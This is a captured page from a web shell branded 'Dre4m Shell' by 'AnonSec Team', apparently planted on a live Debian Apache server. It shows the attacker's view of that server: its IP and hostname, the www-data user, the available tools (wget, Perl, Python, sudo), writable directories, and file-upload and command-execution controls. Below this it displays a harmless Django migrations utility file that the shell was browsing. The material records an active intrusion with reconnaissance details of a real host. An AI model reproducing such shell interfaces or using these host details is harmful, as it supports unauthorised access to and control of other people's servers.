Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.72.59
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/django/db/migrations/operations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/django/db/migrations/operations//utils.py
from collections import namedtuple

from django.db.models.fields.related import RECURSIVE_RELATIONSHIP_CONSTANT


def is_referenced_by_foreign_key(state, model_name_lower, field, field_name):
    for state_app_label, state_model in state.models:
        for _, f in state.models[state_app_label, state_model].fields:
            if (f.related_model and
                    '%s.%s' % (state_app_label, model_name_lower) == f.related_model.lower() and
                    hasattr(f, 'to_fields')):
                if (f.to_fields[0] is None and field.primary_key) or field_name in f.to_fields:
                    return True
    return False


class ModelTuple(namedtuple('ModelTupleBase', ('app_label', 'model_name'))):
    @classmethod
    def from_model(cls, model, app_label=None, model_name=None):
        """
        Take a model class or a 'app_label.ModelName' string and return a
        ModelTuple('app_label', 'modelname'). The optional app_label and
        model_name arguments are the defaults if "self" or "ModelName" are
        passed.
        """
        if isinstance(model, str):
            if model == RECURSIVE_RELATIONSHIP_CONSTANT:
                return cls(app_label, model_name)
            if '.' in model:
                return cls(*model.lower().split('.', 1))
            return cls(app_label, model.lower())
        return cls(model._meta.app_label, model._meta.model_name)

    def __eq__(self, other):
        if isinstance(other, ModelTuple):
            # Consider ModelTuple equal if their model_name is equal and either
            # one of them is missing an app_label.
            return self.model_name == other.model_name and (
                self.app_label is None or other.app_label is None or self.app_label == other.app_label
            )
        return super().__eq__(other)


def field_references_model(field, model_tuple):
    """Return whether or not field references model_tuple."""
    remote_field = field.remote_field
    if remote_field:
        if ModelTuple.from_model(remote_field.model) == model_tuple:
            return True
        through = getattr(remote_field, 'through', None)
        if through and ModelTuple.from_model(through) == model_tuple:
            return True
    return False

Anon7 - 2022
AnonSec Team